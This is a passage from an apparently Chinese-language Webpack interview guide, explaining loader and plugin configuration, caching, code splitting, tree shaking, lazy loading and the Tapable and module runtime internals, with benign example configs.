        test: /.(png|svg|jpg|jpeg|gif)$/i,
        type: 'asset/resource', // Webpack 5+ 的 Asset Modules
      },
      {
        // 处理字体
        test: /.(woff|woff2|eot|ttf|otf)$/i,
        type: 'asset/resource',
      }
    ]
  }
};

3. 如何配置Webpack的Plugin?常见的Plugin有哪些?

Plugin 在 plugins 数组中配置,需要 new 一个实例。

常见 Plugin 配置示例:

JavaScript

const HtmlWebpackPlugin = require('html-webpack-plugin');
const { CleanWebpackPlugin } = require('clean-webpack-plugin'); // Webpack 5+ 已内置,见 output.clean
const MiniCssExtractPlugin = require('mini-css-extract-plugin');
const webpack = require('webpack');

module.exports = {
  // ...
  plugins: [
    // 自动生成一个 HTML 文件,并注入打包后的 JS/CSS
    new HtmlWebpackPlugin({
      title: 'My App',
      template: './src/index.html'
    }),
    // 每次构建前清理 dist 目录 (Webpack 5 推荐使用 output.clean)
    // new CleanWebpackPlugin(),

    // 将 CSS 提取到单独的文件中
    new MiniCssExtractPlugin({
      filename: '[name].[contenthash].css'
    }),
    // 定义全局变量
    new webpack.DefinePlugin({
      'process.env.NODE_ENV': JSON.stringify(process.env.NODE_ENV),
    })
  ]
};

4. 如何配置Webpack支持多页面应用(MPA)?

关键在于配置多个入口,并为每个入口生成一个对应的 HTML 文件。

JavaScript

const path = require('path');
const HtmlWebpackPlugin = require('html-webpack-plugin');

module.exports = {
  entry: {
    pageOne: './src/pageOne/index.js',
    pageTwo: './src/pageTwo/index.js',
  },
  output: {
    filename: '[name].[contenthash].js',
    path: path.resolve(__dirname, 'dist'),
    clean: true,
  },
  plugins: [
    new HtmlWebpackPlugin({
      template: './src/pageOne/index.html',
      filename: 'pageOne.html',
      chunks: ['pageOne'], // 指定该 HTML 文件只引入 pageOne 的 chunk
    }),
    new HtmlWebpackPlugin({
      template: './src/pageTwo/index.html',
      filename: 'pageTwo.html',
      chunks: ['pageTwo'], // 指定该 HTML 文件只引入 pageTwo 的 chunk
    }),
  ],
  optimization: {
    splitChunks: {
      chunks: 'all', // 提取公共模块
    },
  },
};

5. 如何配置Webpack支持TypeScript?

需要使用 ts-loader@babel/preset-typescript (配合 babel-loader) 来编译 TypeScript。

使用 ts-loader:

  1. 安装依赖: npm install --save-dev typescript ts-loader
  2. 创建 tsconfig.json 文件。
  3. 配置 webpack.config.js:

JavaScript

module.exports = {
  // ...
  entry: './src/index.ts',
  module: {
    rules: [
      {
        test: /.tsx?$/,
        use: 'ts-loader',
        exclude: /node_modules/,
      },
    ],
  },
  resolve: {
    extensions: ['.tsx', '.ts', '.js'], // 使得在 import 时可以省略这些扩展名
  },
};

6. 如何配置Webpack支持React/Vue/Angular等框架?

  • React:

    • 使用 babel-loader 并配置 @babel/preset-react 来转换 JSX。

    • webpack.config.js:

      JavaScript

      {
        test: /.jsx?$/,
        exclude: /node_modules/,
        use: {
          loader: 'babel-loader',
          options: {
            presets: ['@babel/preset-env', '@babel/preset-react']
          }
        }
      }
      
  • Vue:

    • 使用 vue-loader 来处理 .vue 单文件组件。

    • 需要 vue-loadervue-template-compiler (Vue 2) 或 @vue/compiler-sfc (Vue 3)。

    • 还需要 VueLoaderPlugin

    • webpack.config.js:

      JavaScript

      const { VueLoaderPlugin } = require('vue-loader');
      module.exports = {
        // ...
        module: {
          rules: [
            { test: /.vue$/, use: 'vue-loader' },
            // ... 其他 loader
          ]
        },
        plugins: [ new VueLoaderPlugin() ]
      }
      
  • Angular:

    • Angular 有自己的构建工具链 (Angular CLI),它底层封装了 Webpack。通常不建议手动配置 Webpack,除非有特殊需求。

7. 如何配置Webpack的环境变量?

  • DefinePlugin: 在编译时创建全局常量。

    JavaScript

    new webpack.DefinePlugin({
      'process.env.NODE_ENV': JSON.stringify('production'),
      'API_URL': JSON.stringify('https://api.example.com')
    });
    
  • --env 命令行标志: 在 webpack.config.js 中导出一个函数。

    JavaScript

    // webpack.config.js
    module.exports = env => {
      console.log('Environment:', env); // { production: true }
      return { /* config */ };
    };
    // package.json script
    "build": "webpack --env production"
    
  • mode 配置: 设置为 productiondevelopment 会自动设置 process.env.NODE_ENV

8. 如何配置Webpack的Proxy代理?

devServer 中配置 proxy 选项,用于解决开发环境下的跨域问题。

JavaScript

module.exports = {
  devServer: {
    proxy: {
      // 将所有以 /api 开头的请求代理到 http://localhost:3000
      '/api': {
        target: 'http://localhost:3000',
        // 如果后端 API 不在根路径,需要重写路径
        pathRewrite: { '^/api': '' },
        // 支持 https
        secure: false,
        // 更改请求头中的 origin,对于虚拟主机是必需的
        changeOrigin: true,
      },
    },
  },
};

9. 如何配置Webpack的缓存(Cache)?

Webpack 5 内置了持久化缓存,可以显著提升二次构建速度。

webpack.config.js 中开启:

JavaScript

module.exports = {
  cache: {
    type: 'filesystem', // 使用文件系统缓存
    buildDependencies: {
      // 当配置文件或 node_modules 变动时,缓存失效
      config: [__filename],
    },
  },
};

对于 Loader 也可以单独配置缓存,如 babel-loader

JavaScript

use: {
  loader: 'babel-loader',
  options: {
    cacheDirectory: true, // 开启 babel-loader 的缓存
  }
}

10. 如何配置Webpack的性能优化(如压缩、懒加载等)?

  • 压缩 (Minification) :

    • JS 压缩: 在 production 模式下,Webpack 自动使用 TerserPlugin 压缩 JS。
    • CSS 压缩: 使用 CssMinimizerWebpackPlugin
  • 懒加载 (Lazy Loading) :

    • 使用动态导入 import() 语法。
  • 代码分割:

    • 使用 optimization.splitChunks 配置。
  • 其他:

    • Tree Shaking: production 模式下自动开启。
    • Scope Hoisting: production 模式下自动开启。
    • 分析打包体积: 使用 webpack-bundle-analyzer 插件。

JavaScript

const CssMinimizerPlugin = require('css-minimizer-webpack-plugin');

module.exports = {
  mode: 'production',
  optimization: {
    minimize: true, // 开启压缩
    minimizer: [
      new TerserPlugin(), // JS 压缩 (Webpack 5 内置)
      new CssMinimizerPlugin(), // CSS 压缩
    ],
    splitChunks: {
      chunks: 'all', // 自动提取公共模块
    },
  },
};

三、Loader相关

1. Loader的作用是什么?它的执行顺序是怎样的?

作用: Loader 的核心作用是转换。它负责将 Webpack 无法直接处理的非 JavaScript 文件(如 CSS、图片、TS、JSX)转换为 Webpack 可以理解的模块。

执行顺序:

  • 对于一个 rule 中的多个 loader(use: ['loader-A', 'loader-B']),执行顺序是从右到左,即 loader-B 先执行,其结果再交给 loader-A 处理。
  • 对于多个匹配相同文件的 rule,默认情况下,后面的 rule 会先生效。可以通过 enforce: 'pre' (提前执行) 或 enforce: 'post' (延后执行) 来改变顺序。

2. 如何编写一个自定义Loader?

一个 Loader 本质上是一个 Node.js 模块,它导出一个函数。这个函数接收源文件内容作为参数,并返回转换后的内容。

简单示例 (同步 Loader) :

JavaScript

// my-loader.js
module.exports = function(source) {
  // source 是源文件内容的字符串
  const result = source.replace(/console.log(.*);?/g, '');
  return result;
};

使用自定义 Loader:

JavaScript

const path = require('path');
module.exports = {
  // ...
  resolveLoader: {
    // 配置 Webpack 寻找 Loader 的目录
    modules: ['node_modules', path.resolve(__dirname, 'loaders')]
  },
  module: {
    rules: [
      {
        test: /.js$/,
        use: ['my-loader']
      }
    ]
  }
}

3. babel-loader的作用是什么?如何配置Babel?

作用: babel-loader 是 Webpack 和 Babel 之间的桥梁。它使用 Babel 来将 ES6+ 的 JavaScript 代码转换为向后兼容的 ES5 版本,以便在旧版浏览器中运行。

配置 Babel:

  1. 安装依赖: npm install --save-dev babel-loader @babel/core @babel/preset-env

  2. 配置 webpack.config.js:

    JavaScript

    module: {
      rules: [
        {
          test: /.js$/,
          exclude: /node_modules/,
          use: 'babel-loader',
        },
      ],
    }
    
  3. 创建 Babel 配置文件 (babel.config.js.babelrc) :

    JavaScript

    // babel.config.js
    module.exports = {
      presets: [
        [
          '@babel/preset-env',
          {
            // 按需引入 polyfill
            useBuiltIns: 'usage',
            corejs: 3,
          },
        ],
        '@babel/preset-react', // 如果使用 React
        '@babel/preset-typescript' // 如果使用 TypeScript
      ],
    };
    

4. css-loaderstyle-loader的区别是什么?

  • css-loader: 负责解析 CSS。它会处理 CSS 中的 @importurl() 语句,就像处理 JS 中的 import 一样。它只负责将 CSS 转换为 CommonJS 模块,但不会将样式应用到页面上。
  • style-loader: 负责注入 CSS。它获取 css-loader 处理后的内容,然后通过创建一个 <style> 标签,将 CSS 内容动态地插入到页面的 <head> 中。

总结: css-loader 让 Webpack 能够“读懂” CSS,style-loader 将读懂后的 CSS “应用”到页面上。它们通常一起使用,且顺序是 ['style-loader', 'css-loader']

5. file-loaderurl-loader的区别是什么?

  • file-loader: 将文件(如图片、字体)复制到输出目录,并返回该文件的公共 URL。
  • url-loader: 类似于 file-loader,但增加了一个功能:当文件大小小于配置的 limit 阈值时,它会将文件转换为 Base64 格式的 Data URI 直接嵌入到代码中,而不是生成一个新文件。这可以减少小文件的 HTTP 请求数。

区别总结: url-loaderfile-loader 的增强版。当文件大于 limit 时,url-loader 的行为和 file-loader 完全一样。

注意: 在 Webpack 5+ 中,这两者的功能已被内置的 Asset Modules (asset/resourceasset/inline) 所取代。

6. 如何处理SASS/LESS等预处理器样式?

需要安装对应的 Loader。

  • SASS/SCSS: 需要 sass-loadersass (或 node-sass)。

    • use: ['style-loader', 'css-loader', 'sass-loader']
  • LESS: 需要 less-loaderless

    • use: ['style-loader', 'css-loader', 'less-loader']

执行顺序: sass-loader/less-loader 先将预处理器样式编译成 CSS,然后 css-loader 解析 CSS,最后 style-loader 注入到 DOM。

7. 如何处理图片和字体文件?

Webpack 5+ (推荐) :

JavaScript

module: {
  rules: [
    {
      test: /.(png|svg|jpg|jpeg|gif)$/i,
      type: 'asset/resource',
      generator: {
        filename: 'images/[name][contenthash][ext]' // 自定义输出路径和文件名
      }
    },
    {
      test: /.(woff|woff2|eot|ttf|otf)$/i,
      type: 'asset/resource',
      generator: {
        filename: 'fonts/[name][contenthash][ext]'
      }
    }
  ]
}

Webpack 4:

JavaScript

module: {
  rules: [
    {
      test: /.(png|svg|jpg|gif)$/i,
      use: [
        {
          loader: 'url-loader',
          options: {
            limit: 8192, // 小于 8kb 的图片转为 base64
            name: 'images/[name].[hash:8].[ext]'
          }
        }
      ]
    }
  ]
}

8. 如何配置Loader的缓存(Cache)?

一些耗时的 Loader(如 babel-loader)自身提供了缓存选项。

JavaScript

use: {
  loader: 'babel-loader',
  options: {
    // 开启后,babel-loader 会将转换结果缓存到文件系统中(默认在 node_modules/.cache/babel-loader)
    cacheDirectory: true,
  }
}

此外,Webpack 5 的持久化缓存也会对 Loader 的结果进行缓存。也可以使用 cache-loader (已不推荐在 Webpack 5 中使用) 将 Loader 的结果缓存到磁盘。

四、Plugin相关

1. Plugin的作用是什么?与Loader的区别是什么?

Plugin的作用:

Plugin(插件)是 Webpack 的支柱功能。它能够监听 Webpack 构建生命周期中的各种事件(hooks),在合适的时机执行广泛的任务。Plugin 的能力覆盖了从打包优化、资源管理到环境变量注入等各种场景。

与Loader的区别:

特性 Loader (加载器) Plugin (插件)
核心职责 转换 (Transform) 增强 (Enhance)
作用对象 单个文件 (Module) 整个构建过程 (Compilation)
工作原理 在模块加载时,将一种类型的文件转换为另一种。 监听 Webpack 的生命周期事件,执行自定义操作。
解决问题 “如何处理这种类型的文件?” (如:如何处理 .scss 文件) “在构建完成后,我需要做什么?” (如:生成 HTML 文件、清理输出目录)
配置位置 module.rules plugins

总结: 如果你需要改变一个文件的内容,你应该用 Loader。如果你需要在构建过程中做一些超出文件转换范畴的事情,你应该用 Plugin。

2. 如何编写一个自定义Plugin?

一个自定义 Plugin 是一个 JavaScript 类,它必须包含一个 apply 方法。

  • apply 方法: 在 Webpack 启动时被调用,接收一个 compiler 对象作为参数。
  • compiler 对象: Webpack 的核心,包含了整个构建过程的所有配置和生命周期钩子。
  • Hook (钩子) : 通过 compiler.hooks.<hookName>.tap('MyPluginName', callback) 来注册监听事件。

示例:一个在打包结束后打印信息的插件

JavaScript

// MyCustomPlugin.js
class MyCustomPlugin {
  // apply 方法是必须的
  apply(compiler) {
    // 'done' 是一个异步钩子,在编译完成后执行
    compiler.hooks.done.tap('MyCustomPlugin', (stats /* 编译信息 */) => {
      console.log('Hello from MyCustomPlugin! Build completed.');
    });
  }
}

module.exports = MyCustomPlugin;

webpack.config.js 中使用:

JavaScript

const MyCustomPlugin = require('./MyCustomPlugin.js');

module.exports = {
  // ...
  plugins: [
    new MyCustomPlugin()
  ]
};

3. HtmlWebpackPlugin的作用是什么?如何配置?

作用:

HtmlWebpackPlugin 简化了 HTML 文件的创建,用于承载 Webpack 打包后的资源。它的核心功能是:

  1. 自动生成一个 HTML 文件。
  2. 自动将打包生成的 JS (<script>) 和 CSS (<link>) 文件注入到这个 HTML 文件中。
  3. 可以基于一个模板 HTML 文件来生成。

如何配置:

JavaScript

const HtmlWebpackPlugin = require('html-webpack-plugin');

module.exports = {
  // ...
  plugins: [
    new HtmlWebpackPlugin({
      // 浏览器标签页的标题
      title: 'Webpack App',
      // 生成的 HTML 文件名
      filename: 'index.html',
      // 使用的 HTML 模板路径
      template: 'src/template.html',
      // 注入脚本的位置 'head' 或 'body'
      inject: 'body',
      // 压缩 HTML
      minify: {
        removeComments: true,
        collapseWhitespace: true,
      },
      // 指定只引入哪些 chunks (用于多页面应用)
      // chunks: ['main']
    })
  ]
};

4. CleanWebpackPlugin的作用是什么?如何配置?

作用:

在每次成功构建之前,自动清理指定的输出目录(通常是 dist 目录)。这可以确保输出目录中不会残留上一次构建的旧文件。

如何配置 (Webpack 5+ 推荐内置方法):

Webpack 5 将此功能内置到了 output 配置中,不再需要 CleanWebpackPlugin。

JavaScript

module.exports = {
  output: {
    // ...
    // 在生成文件之前清空 output 目录
    clean: true,
  },
};

如何配置 (使用插件,旧版 Webpack) :

  1. 安装: npm install --save-dev clean-webpack-plugin

  2. 配置:

    JavaScript

    const { CleanWebpackPlugin } = require('clean-webpack-plugin');
    
    module.exports = {
      // ...
      plugins: [
        new CleanWebpackPlugin()
      ]
    };
    

5. MiniCssExtractPlugin的作用是什么?如何配置?

作用:

将 CSS 从 JS 文件中提取出来,生成独立的 .css 文件。这在生产环境中是必需的,因为它有两大好处:

  1. 并行加载: CSS 和 JS 文件可以被浏览器并行加载,加快页面渲染。
  2. 缓存: CSS 文件可以被独立缓存,当 JS 逻辑改变而样式不变时,用户只需下载新的 JS 文件。

如何配置:

它需要 Loader 和 Plugin 协同工作。

JavaScript

const MiniCssExtractPlugin = require('mini-css-extract-plugin');

module.exports = {
  // ...
  module: {
    rules: [
      {
        test: /.css$/,
        // 用 MiniCssExtractPlugin.loader 替换 style-loader
        use: [MiniCssExtractPlugin.loader, 'css-loader'],
      },
    ],
  },
  plugins: [
    new MiniCssExtractPlugin({
      // 输出的 CSS 文件名
      filename: 'styles/[name].[contenthash].css',
    }),
  ],
};

注意: MiniCssExtractPlugin.loader 不应与 style-loader 一起使用。通常在开发环境使用 style-loader (为了 HMR),在生产环境使用 MiniCssExtractPlugin

6. DefinePlugin的作用是什么?如何配置环境变量?

作用:

允许你在编译时创建全局常量。Webpack 在编译代码时,会执行直接的文本替换。

如何配置环境变量:

JavaScript

const webpack = require('webpack');

module.exports = (env) => {
  const isProduction = env.production;

  return {
    // ...
    plugins: [
      new webpack.DefinePlugin({
        // 注意:值必须是 JSON 字符串化的
        'process.env.NODE_ENV': JSON.stringify(isProduction ? 'production' : 'development'),
        '__API_URL__': JSON.stringify(isProduction ? 'https://api.prod.com' : 'https://api.dev.com')
      })
    ]
  };
};

在代码中可以直接使用 process.env.NODE_ENV__API_URL__

为什么需要 JSON.stringify?

因为 DefinePlugin 执行的是直接文本替换。

  • 'production' 会被替换为 production (一个变量名)。
  • JSON.stringify('production') 的结果是 "'production'",它会被替换为 "'production'" (一个合法的 JavaScript 字符串)。

7. SplitChunksPlugin的作用是什么?如何配置代码分割?

作用:

SplitChunksPlugin 是 Webpack 用于自动进行代码分割的核心插件。它可以根据配置规则,自动将公共模块(如 node_modules 中的库)或多个入口共享的代码提取到单独的 chunk 文件中。这可以防止代码重复,并优化浏览器的缓存策略。

如何配置:

SplitChunksPlugin 的配置位于 optimization.splitChunks。

JavaScript

module.exports = {
  // ...
  optimization: {
    splitChunks: {
      // 'all' 表示对同步和异步加载的模块都进行分割
      chunks: 'all',

      // 默认的缓存组配置
      cacheGroups: {
        // 将所有来自 node_modules 的模块打包到一个叫 vendors 的 chunk 中
        vendors: {
          test: /[\/]node_modules[\/]/,
          name: 'vendors',
          chunks: 'all',
          priority: -10, // 优先级
        },
        // 将至少被两个 chunk 共享的模块打包到一个叫 common 的 chunk 中
        common: {
          name: 'common',
          minChunks: 2,
          priority: -20,
          chunks: 'all',
        }
      }
    },
  },
};

在 Webpack 5 的 production 模式下,它有非常智能的默认配置,通常无需手动配置 cacheGroups 也能获得很好的效果。

8. TerserPlugin的作用是什么?如何配置代码压缩?

作用:

TerserPlugin 使用 Terser 来压缩(混淆和丑化)JavaScript 代码。这是生产环境优化的关键步骤,可以大大减小 JS bundle 的体积。

如何配置:

在 Webpack 5 的 production 模式下,TerserPlugin 是默认启用的。如果你需要自定义其行为(例如,在生产环境中移除 console.log),可以覆盖 optimization.minimizer。

JavaScript

const TerserPlugin = require('terser-webpack-plugin');

module.exports = {
  mode: 'production',
  optimization: {
    minimize: true, // 确保开启压缩
    minimizer: [
      new TerserPlugin({
        terserOptions: {
          compress: {
            // 在生产环境中移除 console
            drop_console: true,
          },
        },
        extractComments: false, // 不将注释提取到单独的文件
      }),
      // 在这里还可以添加其他压缩插件,如 CssMinimizerWebpackPlugin
    ],
  },
};

9. BundleAnalyzerPlugin的作用是什么?如何分析打包结果?

作用:

webpack-bundle-analyzer 会生成一个可视化的、可交互的树状图报告,展示 Webpack 打包结果中各个模块的体积大小。它是诊断和优化 bundle 体积的必备神器。

如何分析:

  1. 安装: npm install --save-dev webpack-bundle-analyzer

  2. webpack.config.js 中配置:

    JavaScript

    const BundleAnalyzerPlugin = require('webpack-bundle-analyzer').BundleAnalyzerPlugin;
    
    module.exports = {
      plugins: [
        // 通常只在需要分析时才启用
        // 可以通过环境变量来控制
        new BundleAnalyzerPlugin()
      ]
    };
    
  3. 运行 webpack 命令后,它会自动在浏览器中打开一个报告页面。

  4. 在报告中,你可以看到:

    • Stat size: 模块在磁盘上的原始大小。
    • Parsed size: 模块在打包后、压缩前的大小。
    • Gzipped size: 模块经过 Gzip 压缩后的大小(最接近用户实际下载的大小)。

通过分析,可以找出体积过大的库,或者检查 Tree Shaking 是否生效。

五、性能优化

1. Webpack的构建性能优化有哪些方法?

构建性能优化主要分为构建速度产物体积两个方面。以下是一些关键方法:

  • 提升构建速度:

    • 缓存: 使用 Webpack 5 的持久化缓存、babel-loader 的缓存。

    • 多核编译: 使用 thread-loader 对耗时长的 loader 进行多线程处理。

    • 缩小构建范围:

      • 使用 include / exclude 减少 loader 的作用范围。
      • 配置 resolve.aliasresolve.extensions 减少文件搜索时间。
    • 使用更快的工具: 用 swc-loaderesbuild-loader 替代 babel-loader

    • DLLPlugin: 预编译不常变化的第三方库(现在较少使用)。

  • 减小产物体积:

    • 代码压缩: 使用 TerserPlugin (JS) 和 CssMinimizerWebpackPlugin (CSS)。
    • Tree Shaking: 移除未使用的代码。
    • 代码分割 (Code Splitting) : 按需加载,减小初始包体积。
    • 图片优化: 压缩图片,使用 WebP 等现代格式。
    • Scope Hoisting: 优化模块包装函数。

2. 如何减少Webpack的打包体积?

  1. 开启 production 模式: mode: 'production' 会自动开启代码压缩、Tree Shaking 等优化。

  2. 代码分割:

    • 使用 optimization.splitChunks 提取公共代码和第三方库。
    • 使用动态 import() 实现按需加载(懒加载)。
  3. 启用 Tree Shaking:

    • 确保使用 ES 模块 (import/export)。
    • package.json 中设置 "sideEffects": false
  4. 图片压缩:

    • 使用 image-minimizer-webpack-plugin 插件在构建时压缩图片。
  5. 选择性引入库:

    • 对于像 lodash 这样的库,使用 import { debounce } from 'lodash-es' 而不是 import _ from 'lodash',以利于 Tree Shaking。
  6. 分析和监控:

    • 使用 webpack-bundle-analyzer 定期检查包体积,找出最大的模块并进行优化。
  7. CSS 优化:

    • 使用 MiniCssExtractPlugin 提取 CSS。
    • 使用 CssMinimizerWebpackPlugin 压缩 CSS。

3. 如何加快Webpack的构建速度?

  1. 升级: 确保使用最新版本的 Webpack、Node.js 和相关 loaders/plugins。

  2. 开启持久化缓存 (Webpack 5) :

    JavaScript

    cache: {
      type: 'filesystem'
    }
    
  3. 多进程/多线程构建:

    • 对耗时的 loader (如 babel-loader) 使用 thread-loader

    JavaScript

    use: ['thread-loader', 'babel-loader']
    
  4. 减少文件搜索范围:

    • resolve.modules: 指明 Webpack 解析模块时应该搜索的目录,减少不必要的搜索。
    • resolve.alias: 创建别名,避免复杂的相对路径查找。
    • module.rulesinclude/exclude: 明确指定 loader 要处理或排除的目录,include 优于 exclude

    JavaScript

    {
      test: /.js$/,
      include: path.resolve(__dirname, 'src'), // 只在 src 目录中查找
      use: 'babel-loader'
    }
    
  5. 使用更快的转译器:

    • swc-loaderesbuild-loader 是用 Rust/Go 编写的,比用 JavaScript 编写的 babel-loader 快得多。
  6. 开发环境优化:

    • 关闭不必要的优化: 开发环境不需要代码压缩、文件哈希等。
    • 合理选择 devtool: eval-cheap-module-source-map 是一个速度和质量兼顾的好选择。
    • 内存中编译: webpack-dev-server 会在内存中进行编译,比写入磁盘更快。

4. 如何利用Webpack实现懒加载(Lazy Loading)?

懒加载(或按需加载)的核心是使用 ECMAScript 的动态导入 import() 语法。当 Webpack 在代码中遇到 import() 时,它会自动将这个模块及其依赖项分割成一个独立的 chunk,并且只在 import() 函数被调用时才通过网络请求加载它。

示例 (Vanilla JS) :

JavaScript

button.addEventListener('click', () => {
  // 当按钮被点击时,才去加载 math.js
  import('./math.js').then(math => {
    console.log(math.add(5, 3));
  });
});

示例 (React):

结合 React.lazy 和 Suspense 可以非常优雅地实现组件懒加载。

JavaScript

import React, { Suspense, lazy } from 'react';

// 使用 React.lazy 动态导入组件
const OtherComponent = lazy(() => import('./OtherComponent'));

function MyComponent() {
  return (
    <div>
      {/* Suspense 用于在懒加载组件加载完成前显示 fallback 内容 */}
      <Suspense fallback={<div>Loading...</div>}>
        <OtherComponent />
      </Suspense>
    </div>
  );
}

5. 如何利用Webpack实现预加载(Preloading)和预获取(Prefetching)?

Webpack 允许通过在动态 import() 中使用 “魔法注释 (Magic Comments)” 来实现预加载和预获取。

  • 预获取 (Prefetching) : /* webpackPrefetch: true */

    • 作用: 告诉浏览器,这个资源在未来的某个导航中可能会被用到。浏览器会在空闲时下载该资源。

    • 场景: 适用于加载用户接下来可能会访问的页面的资源。例如,在登录页面预获取首页的资源。

    • 示例:

      JavaScript

      import(/* webpackPrefetch: true */ './HomePage.js');
      
  • 预加载 (Preloading) : /* webpackPreload: true */

    • 作用: 告诉浏览器,这个资源在当前导航中很快就会被用到,需要立即开始获取。它与父 chunk 并行加载。

    • 场景: 适用于加载当前页面确定很快会需要的资源。例如,一个按钮点击后会弹出一个复杂的组件,可以预加载这个组件的 JS。

    • 示例:

      JavaScript

      import(/* webpackPreload: true */ './ModalComponent.js');
      

区别总结: prefetch 是“低优先级,未来用”,preload 是“高优先级,马上用”。

6. 如何利用Webpack的缓存(Cache)提升构建性能?

Webpack 的缓存策略是提升二次构建速度的关键。

  1. Webpack 5 持久化缓存:

    • 这是最重要和最有效的缓存机制。通过在 webpack.config.js 中设置 cache: { type: 'filesystem' },Webpack 会将模块、chunk 等构建结果缓存到磁盘(默认在 node_modules/.cache/webpack)。
    • 当再次运行构建时,Webpack 会先检查文件是否有变更,如果没有,则直接从缓存中读取结果,极大地跳过了编译过程。
  2. Loader 缓存:

    • 对于一些计算量大的 loader,如 babel-loader,可以开启其自身的缓存。
    • babel-loadercacheDirectory: true 选项会将其转译结果缓存到文件系统。
  3. 文件名哈希 (Content Hash) :

    • 在生产环境中,通过 output.filename: '[name].[contenthash].js' 为输出文件添加基于内容的哈希值。
    • 这与浏览器缓存密切相关。当你的代码变更时,contenthash 会改变,文件名也随之改变,浏览器会下载新文件。如果代码未变,文件名不变,浏览器会直接使用缓存的旧文件,从而提升用户端的加载性能。

7. 如何利用Webpack的DLLPlugin提升构建性能?

DLL (Dynamic Link Library) 的思想是将不常变动的第三方库(如 react, vue, lodash)预先打包成一个或多个独立的 "动态链接库" 文件。在主应用构建时,不再重新打包这些库,而是直接引用它们。

使用场景:

在大型项目中,如果 node_modules 依赖非常多且不常更新,DLL 可以显著减少每次开发构建的时间。

实现步骤:

  1. 创建 webpack.dll.config.js:

    • 配置 entry 为要打包的第三方库数组(如 ['react', 'react-dom'])。
    • 配置 outputlibrary 选项是关键。
    • 使用 webpack.DllPlugin,它会生成一个 manifest.json 文件,这个文件描述了库和模块的映射关系。
  2. 运行 DLL 构建: webpack --config webpack.dll.config.js

  3. 修改主 webpack.config.js:

    • 使用 webpack.DllReferencePlugin,并指向刚才生成的 manifest.json 文件。这会告诉 Webpack 不需要再打包这些库了。
    • 使用 HtmlWebpackPlugin (或类似插件) 将打包好的 DLL js 文件手动引入到 HTML 中。

现代观点:

随着 Webpack 5 强大的持久化缓存的出现,DLL 的配置复杂性使其在很多场景下不再是首选。缓存通常能达到类似的效果且配置更简单。但在一些超大型的 monorepo 项目中,DLL 仍然有其价值。

8. 如何利用Webpack的Tree Shaking去除无用代码?

Tree Shaking 的目标是消除 "dead code" (死代码),即那些被 export 了但从未被 import 和使用的代码。

实现条件:

  1. 必须使用 ES2015 模块语法 (importexport) 。CommonJS 的 require() 是动态的,无法在编译时进行静态分析,因此无法进行 Tree Shaking。

  2. 开启 production 模式mode: 'production' 会自动启用 Webpack 的 usedExports 优化(标记未使用的导出)和 TerserPlugin(实际移除死代码)。

  3. package.json 中配置 sideEffects:

    • "sideEffects": false: 这是最激进的设置,它告诉 Webpack:“这个包里的所有代码都没有副作用,如果没有直接使用某个导出,那么整个模块都可以被安全地移除。”
    • "sideEffects": ["./src/styles.css", "*.scss"] : 如果某些文件有副作用(例如,全局 CSS 导入、修改全局对象的 polyfill),需要在此数组中声明,以防止它们被 Tree Shaking 错误地移除。

工作原理:

  1. 标记 (Marking) : 在编译阶段,Webpack 遍历所有模块,标记出哪些 export 被使用了,哪些没有。
  2. 清除 (Sweeping) : 在代码压缩阶段,TerserPlugin (或其他压缩工具) 会识别并移除那些被标记为“未使用”的代码。

9. 如何利用Webpack的Scope Hoisting优化代码?

Scope Hoisting (作用域提升) ,又称模块串联 (Module Concatenation),是 Webpack 在 production 模式下默认启用的一项优化。

工作原理:

在没有 Scope Hoisting 的情况下,Webpack 会将每个模块包裹在一个独立的函数闭包中,以隔离作用域。这会产生大量的包装代码,增加 bundle 体积,并可能降低运行时的性能(因为增加了作用域链的查找)。

Scope Hoisting 会分析模块间的依赖关系,尽可能地将多个模块的代码合并到同一个函数作用域中。

好处:

  1. 减少代码体积: 消除模块间的包装函数。
  2. 提升运行速度: 代码在运行时创建的函数作用域更少,内存占用更小,变量查找更快。

如何启用:

在 Webpack 4+ 中,设置 mode: 'production' 会自动启用此项优化。也可以通过 optimization.concatenateModules = true 手动开启。

10. 如何利用Webpack的代码分割(Code Splitting)优化性能?

代码分割是 Webpack 最重要的性能优化功能之一。它将一个巨大的单体 bundle.js 文件拆分成多个更小的 chunk,然后按需加载。

主要好处:

  • 减小初始加载体积: 用户首次访问页面时,只需下载核心和必要的代码,从而大大加快首次内容绘制 (FCP)可交互时间 (TTI)
  • 利用浏览器缓存: 将不常变化的第三方库(vendor code)和经常变化的业务代码(app code)分开,可以更好地利用浏览器缓存。

实现方式:

  1. 多入口 (Entry Points) :

    • 配置多个 entry。每个入口生成一个 chunk。
    • 适用场景: 多页面应用 (MPA)。
  2. optimization.splitChunks (自动分割) :

    • Webpack 的内置插件,可以自动识别共享模块并将其提取到公共 chunk 中。
    • chunks: 'all' 是一个强大且推荐的配置,它会对同步和异步模块都进行处理。
    • 适用场景: 单页面应用 (SPA) 和多页面应用 (MPA) 的公共代码提取。
  3. 动态 import() (按需加载) :

    • 这是最灵活和最常用的方式。
    • 当代码执行到 import() 时,才会去加载对应的模块。
    • 适用场景: SPA 的路由懒加载、大型组件或库的按需加载。

六、原理与深入

1. Webpack的Tapable是什么?它的作用是什么?

Tapable是Webpack的核心库,提供了一套插件架构的基础设施。

作用:

  • 提供各种Hook类型(SyncHook、AsyncHook等)
  • 实现发布-订阅模式,让插件能够监听和响应构建过程中的各个阶段
  • 支持同步和异步的事件处理
const { SyncHook, AsyncSeriesHook } = require('tapable');

class Compiler {
  constructor() {
    this.hooks = {
      run: new SyncHook(['compiler']),
      compile: new AsyncSeriesHook(['params'])
    };
  }
  
  run() {
    this.hooks.run.call(this);
  }
}

2. Webpack的模块化机制是如何实现的?

Webpack通过以下方式实现模块化:

核心机制:

  • 模块包装:每个模块被包装在一个函数中
  • 模块映射:维护模块ID到模块函数的映射表
  • 运行时:提供__webpack_require__函数来加载模块
// 打包后的代码结构
(function(modules) {
  function __webpack_require__(moduleId) {
    // 模块缓存
    if(installedModules[moduleId]) {
      return installedModules[moduleId].exports;
    }
    
    // 创建新模块
    var module = installedModules[moduleId] = {
      i: moduleId,
      l: false,
      exports: {}
    };
    
    // 执行模块函数
    modules[moduleId].call(module.exports, module, module.exports, __webpack_require__);
    
    return module.exports;
  }
  
  return __webpack_require__(0); // 入口模块
})([
  // 模块数组
  function(module, exports, __webpack_require__) {
    // 模块代码
  }
]);

3. Webpack的依赖图(Dependency Graph)是什么?

依赖图是Webpack分析模块间依赖关系的数据结构。

构建过程:

  1. 从入口文件开始
  2. 解析每个模块的依赖
  3. 递归构建依赖关系
  4. 形成完整的依赖图
// 简化的依赖图结构
const dependencyGraph = {
  './src/index.js': {
    dependencies: ['./src/utils.js', './src/components/App.js'],
    code: '...'
